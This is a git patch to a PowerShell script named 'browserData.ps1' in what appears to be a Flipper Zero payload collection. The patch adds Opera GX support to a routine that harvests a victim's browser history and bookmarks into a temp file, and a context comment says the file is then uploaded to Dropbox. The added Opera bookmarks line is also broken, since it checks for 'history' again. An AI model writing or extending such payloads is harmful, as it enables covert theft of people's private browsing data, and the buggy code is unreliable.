From 982e274cf987a93f04c9a9ee74b5d515ffc7b9c9 Mon Sep 17 00:00:00 2001 From: Kavitate <79380289+Kavitate@users.noreply.github.com> Date: Wed, 21 Dec 2022 19:31:27 -0600 Subject: [PATCH] Updated browserData.ps1 - Added in Opera browser functionality. --- Payloads/Flip-BrowserData/browserData.ps1 | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/Payloads/Flip-BrowserData/browserData.ps1 b/Payloads/Flip-BrowserData/browserData.ps1 index 6077476..1d7941d 100644 --- a/Payloads/Flip-BrowserData/browserData.ps1 +++ b/Payloads/Flip-BrowserData/browserData.ps1 @@ -15,7 +15,8 @@ function Get-BrowserData { elseif ($Browser -eq 'edge' -and $DataType -eq 'history' ) {$Path = "$Env:USERPROFILE\AppData\Local\Microsoft/Edge/User Data/Default/History"} elseif ($Browser -eq 'edge' -and $DataType -eq 'bookmarks' ) {$Path = "$env:USERPROFILE/AppData/Local/Microsoft/Edge/User Data/Default/Bookmarks"} elseif ($Browser -eq 'firefox' -and $DataType -eq 'history' ) {$Path = "$Env:USERPROFILE\AppData\Roaming\Mozilla\Firefox\Profiles\*.default-release\places.sqlite"} - + elseif ($Browser -eq 'opera' -and $DataType -eq 'history' ) {$Path = "$Env:USERPROFILE\AppData\Roaming\Opera Software\Opera GX Stable\History"} + elseif ($Browser -eq 'opera' -and $DataType -eq 'history' ) {$Path = "$Env:USERPROFILE\AppData\Roaming\Opera Software\Opera GX Stable\Bookmarks"} $Value = Get-Content -Path $Path | Select-String -AllMatches $regex |% {($_.Matches).Value} |Sort -Unique $Value | ForEach-Object { @@ -41,7 +42,9 @@ Get-BrowserData -Browser "chrome" -DataType "bookmarks" >> $env:TMP--BrowserData Get-BrowserData -Browser "firefox" -DataType "history" >> $env:TMP\--BrowserData.txt +Get-BrowserData -Browser "opera" -DataType "history" >> $env:TMP\--BrowserData.txt +Get-BrowserData -Browser "opera" -DataType "bookmarks" >> $env:TMP\--BrowserData.txt # Upload output file to dropbox